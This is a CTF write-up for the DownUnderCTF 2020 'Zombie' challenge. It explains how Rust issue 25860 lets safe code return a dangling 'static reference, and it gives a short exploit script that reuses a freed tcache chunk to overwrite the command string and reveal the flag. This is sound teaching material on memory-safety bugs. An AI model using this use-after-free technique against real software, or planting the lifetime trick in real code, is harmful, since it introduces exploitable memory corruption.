DownUnderCTF 2020 - Zombie
DownUnderCTF 2020 - Zombie Writeup
This challenge is about exploiting the Rust bug linked here: https://github.com/rust-lang/rust/issues/25860
Prerequisites: Knowing how the Tcache works.
The Bug
// Issue 25860
fn cell<'a, 'b, T: ?Sized>(_: &'a &'b (), v: &'b mut T) -> &'a mut T { v }
fn virus<'a, T: ?Sized>(input: &'a mut T) -> &'static mut T {
let f: fn(_, &'a mut T) -> &'static mut T = cell;
f(&&(), input)
}
fn zombie(size: usize) -> &'static mut [u8] {
let mut object = vec![b'A'; size];
let r = virus(object.as_mut());
r
}
I am not experienced with Rust, but I do have experience with C++, which I think has helped me with understanding the issue.
The virus
function takes a reference to an object and returns a reference to the same object but as if it is static.
So what does this mean? Static objects have unlimited lifetime. The object is not actually static, so when the zombie
function exits, object
is destroyed and its memory is freed. But zombie
returns a reference to it anyway, which may be used by the caller. This is a Use After Free, which should not normally happen in Rust outside of unsafe blocks. Here it is allowed because the static fools the compiler into thinking the object is still alive. It’s not, it’s a zombie.
The Exploit
Half the job is already done for us by the challenge. Here’s the main loop:
println!("What will you do?");
let line = lines.next().unwrap().unwrap();
match line.as_str().trim() {
"get flag" => continue, // if "get flag", skip this cycle
"infect" => infected = Some(infect(&mut lines)), // calls zombie with user supplied size
"eat brains" => eat_brains(&mut lines, &mut infected), // modifies the infected array
"inspect brains" => inspect_brains(&mut lines, &mut infected), // views the `nfected array
_ => (),
}
println!("{}", line);
if line.as_str().trim() == "get flag" { // normally this would be impossible to reach!
let flag = read_to_string("flag.txt").unwrap();
println!("Here's the flag: {}", &flag);
}
Clearly, what the author wants us to do is to exploit the UAF to change the contents of the line
variable to "get flag"
. Accomplishing this is easier than it sounds. Rust may not be C but it’s still using libc underneath! We can use the heap exploits we already know and “love”.
- Use
infect
to allocate aninfected
array of X bytes. This array is then freed to the X size tcache bin and used by our next commands. - Use
eat brains
, BUT, pad the input with whitespace so that it is X bytes long. The string will be allocated using the X size tcache bin, where our array resides!line
andinfected
now point to the same memory. - Finish using the
eat brains
command to modifyinfected
so that it starts withget flag
, spaces included. This modifiesline
as well.
Here’s the code to do this. (Full script in exploit.py, in repo)
infect(0x50)
p.sendline('eat brains'.ljust(0x50))
for i, c in enumerate('get flag '):
p.recvuntil('a victim')
p.sendline(str(i))
p.recvuntil('ch!')
p.sendline(str(ord(c)))
p.recvuntil('a victim')
p.sendline('done')
p.interactive()
Why 2 spaces?
You need to overwrite eat brains
fully, one space will not suffice. Result would be get flag s
Why not \x00?
It does not work. I am guessing it’s because of Rust’s trim
behavior and its string implementation. See the tests below.
fn main() {
println!("{}", "get flag\x00" == "get flag"); //false
println!("{}", "get flag ".trim() == "get flag"); //true
println!("{}", "get flag\x00".trim() == "get flag"); //false
}
The Flag
DUCTF{m3m0ry_s4f3ty_h4ck3d!}
Comments